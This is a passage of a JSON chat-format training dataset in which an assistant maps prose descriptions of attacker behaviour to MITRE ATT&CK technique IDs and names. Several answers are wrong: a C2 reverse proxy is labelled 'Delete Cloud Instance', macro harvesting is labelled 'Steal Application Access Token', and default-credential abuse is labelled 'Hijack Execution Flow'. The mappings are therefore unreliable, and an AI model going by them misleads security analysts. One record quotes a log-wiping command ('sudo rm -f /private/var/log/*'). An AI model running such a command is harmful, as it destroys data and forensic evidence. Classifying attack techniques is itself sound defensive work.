                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets a custom DLL search path via the SetDllDirectory API, placing a malicious DLL in a location that precedes the normal library directories, resulting in hijacked execution."
            },
            {
                "role": "assistant",
                "content": "T1574.008 - Hijack Execution Flow: Path Interception by Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits SMB protocol to enumerate network shares and the servers hosting them in the target network."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries utilized a VPN connection to bypass the corporate firewall and interact with internal network resources remotely."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set leverages a compromised legitimate FTP service to upload a remote access tool onto the target machine."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors employ encrypted zip files on a portable SSD to move sensitive information out of a highly secure environment."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor applies XOR obfuscation to command and control messages to conceal data content."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors query public TikTok videos mentioning the target's brand to extract details about corporate culture and office layouts."
            },
            {
                "role": "assistant",
                "content": "T1593.001 - Search Open Websites/Domains: Social Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries rent a VPS in a foreign jurisdiction to evade detection and host a malicious API."
            },
            {
                "role": "assistant",
                "content": "T1583.006 - Acquire Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor executed \"cmd.exe\" to perform \"ping -n 5 8.8.8.8\" for network latency testing."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performs a credential dumping operation by extracting data from the Windows Registry's SECURITY hive."
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker replaces legitimate DLLs with malicious ones, causing applications to crash."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script on a domain controller changes the password of the krbtgt account to maintain persistent access."
            },
            {
                "role": "assistant",
                "content": "T1556.001 - Modify Authentication Process: Domain Controller Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages a custom utility to read the NTDS.dit file from a shadow copy and dump domain secrets."
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses wmic.exe to query system information and to launch a cmd.exe process on a victim machine."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages stolen Active Directory user accounts to gain legitimate access to network resources."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Valid Accounts: Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a compromised service account whose password is stored in a readable configuration file."
            },
            {
                "role": "assistant",
                "content": "T1552 - Unsecured Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor uses LNK Icon Smuggling to embed a malicious DLL inside the icon resource of a shortcut, which is loaded during icon extraction."
            },
            {
                "role": "assistant",
                "content": "T1027.012 - Obfuscated Files or Information: LNK Icon Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The spyware reverts to sending encrypted data via TXT records in DNS responses as a secondary exfiltration route."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performed a broad sweep of configuration files across the filesystem, gathering any .conf and .ini files for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages legitimate admin credentials to access a shared folder and steals credential dumps."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries set up a reverse proxy service on a compromised cloud instance to hide C2 traffic."
            },
            {
                "role": "assistant",
                "content": "T1578.003 - Modify Cloud Compute Infrastructure: Delete Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat uses a USB flash drive to smuggle encrypted payloads across a network boundary that blocks network exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro reads the VBA project of other Office documents to harvest embedded macros."
            },
            {
                "role": "assistant",
                "content": "T1528 - Steal Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised system communicates with its C2 server using a VPN tunnel that encrypts all traffic."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a .bat file and registers it with at to run with SYSTEM privileges at a specified time."
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code overwrites entries in the KernelCallbackTable to redirect execution to the attacker’s payload."
            },
            {
                "role": "assistant",
                "content": "T1574.013 - Hijack Execution Flow: KernelCallbackTable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor copies a trojan into a system's installer directory where the installer file has overly permissive write rights, leading to execution when the installer is launched."
            },
            {
                "role": "assistant",
                "content": "T1574.005 - Hijack Execution Flow: Executable Installer File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary creates a desktop shortcut that appears as a legitimate application but launches a ransomware component."
            },
            {
                "role": "assistant",
                "content": "T1608.005 - Stage Capabilities: Link Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious update replaces the default trust provider with one that validates attacker-controlled code, subverting integrity checks."
            },
            {
                "role": "assistant",
                "content": "T1553.003 - Subvert Trust Controls: SIP and Trust Provider Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware modifies user profile records in the Active Directory database to grant elevated privileges to a service account."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivered a payload named 'notepad.exe' that was actually a trojan, leveraging the trusted name."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor deployed a custom SMTP transport plugin on the mail server to modify message headers and exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1505.002 - Server Software Component: Transport Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploited a zero‑day vulnerability in a popular remote desktop application to gain unauthorized access."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor uses the 'crontab -e' command to schedule a script that downloads and executes additional malware from a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The technique involves stealing a token from another user and invoking CreateProcessAsUser to run a payload with that user's permissions."
            },
            {
                "role": "assistant",
                "content": "T1134.002 - Access Token Manipulation: Create Process with Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script leverages a known flaw in a network printer's firmware to overload its processing queue, rendering the device unusable."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group compromises a CDN edge node to serve malicious payloads to end users worldwide."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary scripts scanned for accessible network shares and exfiltrated email archives stored on them."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages the built‑in `systeminfo` utility to gather OS version, hotfixes, and installed software details."
            },
            {
                "role": "assistant",
                "content": "T1592.002 - Gather Victim Host Information: Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A fake login portal hosted on a compromised domain harvests credentials from employees attempting to access internal tools."
            },
            {
                "role": "assistant",
                "content": "T1586 - Compromise Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker rents cloud infrastructure on AWS and sets up a malicious website to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1583.006 - Acquire Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion modifies the global /etc/bash.bashrc to persist a backdoor that runs with every shell."
            },
            {
                "role": "assistant",
                "content": "T1546.004 - Event Triggered Execution: Unix Shell Configuration Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor executed a PowerShell script that extracts cached credentials stored in the Windows Credential Manager."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By targeting users with pre-authentication disabled, the attacker captures the AS-REP and performs offline dictionary attacks to recover the password."
            },
            {
                "role": "assistant",
                "content": "T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the exfiltration phase, the malware runs a command that overwrites the Master Boot Record and all file system structures."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cyber espionage group hijacks FTP transfers and swaps benign files for stolen documents before they reach the destination server."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intruder captures and reuses a valid TeamViewer remote control session to gain unauthorized access."
            },
            {
                "role": "assistant",
                "content": "T1563 - Remote Service Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware variant includes a module that formats the victim's hard drive after encrypting files, ensuring no recovery."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A botnet is deployed to brute‑force the RDP service on target machines, cycling through common password permutations until a login succeeds."
            },
            {
                "role": "assistant",
                "content": "T1110.001 - Brute Force: Password Guessing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The technique involves altering the KernelCallbackTable entries to point to malicious routines, allowing the attacker to execute code during routine kernel callbacks."
            },
            {
                "role": "assistant",
                "content": "T1574.013 - Hijack Execution Flow: KernelCallbackTable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use a staged payload that retrieves the second stage executable from an external HTTP server and writes it to disk on the target."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors embed malicious code in a third‑party widget, causing victim sites that use the widget to be compromised."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious macro examines the username; if it contains 'sandbox', it does not proceed."
            },
            {
                "role": "assistant",
                "content": "T1480 - Execution Guardrails"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary crafts a spearphishing email that appears to come from a trusted vendor and includes a link to a malicious PowerShell script hosted on a compromised server."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Phishing for Information: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leveraged a privileged service account to modify AWS Security Group settings, permitting traffic from any source on port 22."
            },
            {
                "role": "assistant",
                "content": "T1562.007 - Impair Defenses: Disable or Modify Cloud Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abused the server's RPC service to load a malicious shared library, providing persistence."
            },
            {
                "role": "assistant",
                "content": "T1505 - Server Software Component"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits default credentials on network devices to gain a foothold and pivot to adjacent systems."
            },
            {
                "role": "assistant",
                "content": "T1574 - Hijack Execution Flow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion set leveraged the built-in Remote Desktop Protocol fallback to a VNC listener for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services: VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised WordPress plugin injects a script that checks the visitor’s browser and serves a tailored exploit to gain initial foothold."
            },
            {
                "role": "assistant",
                "content": "T1608.004 - Stage Capabilities: Drive-by Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious insider copies the configuration backup of a load balancer from the central repository to discover routing logic."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojan checks for debugger artifacts by scanning for known debugger process names like OllyDbg or x64dbg before executing its payload."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant uses the GDI32 library to capture the screen buffer and compresses the image before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary adds random padding to a custom Base58 encoding of stolen files to thwart signature‑based detection."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors download a malicious Docker image and start it on a compromised Linux server to execute their payload."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor modifies Windows registry keys to prevent security tools from logging malicious processes, effectively blocking detection indicators."
            },
            {
                "role": "assistant",
                "content": "T1562.006 - Impair Defenses: Indicator Blocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a compromised smartphone's USB OTG capability to bridge communication between a classified network and an external device."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exfiltrated keylogs by pushing them to a Google Cloud Storage bucket via the GCS JSON API."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor executes 'sudo rm -f /private/var/log/*' on a compromised Mac to eliminate forensic artifacts."
            },
            {
                "role": "assistant",
                "content": "T1070.002 - Indicator Removal: Clear Linux or Mac System Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining admin rights, the attacker used the built‑in Windows utility to purge event logs, removing forensic traces."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor scripts queries to public bug bounty platforms, gathering disclosed flaws that can be leveraged against target systems."
            },
            {
                "role": "assistant",
                "content": "T1596.005 - Search Open Technical Databases: Scan Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential dumping tool injects its own code into LSASS using Thread Execution Hijacking to read memory."
            },
            {
                "role": "assistant",
                "content": "T1055.003 - Process Injection: Thread Execution Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries employ a custom file‑packer that limits each packed archive to 75 KB before transmission."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a popular file-sharing website, the intrusion sets up a duplex channel where the compromised system can download new modules and upload harvested information."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Web Service: Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised host runs a script that scans for .msg files in the user's Documents folder and exfiltrates them."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker set up a DNS server on a compromised VPS to serve malicious DNS responses to targeted victims."
            },
            {
                "role": "assistant",
                "content": "T1583.002 - Acquire Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a service control manager request to stop the \"Dhcp\" service, disrupting network address assignment."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
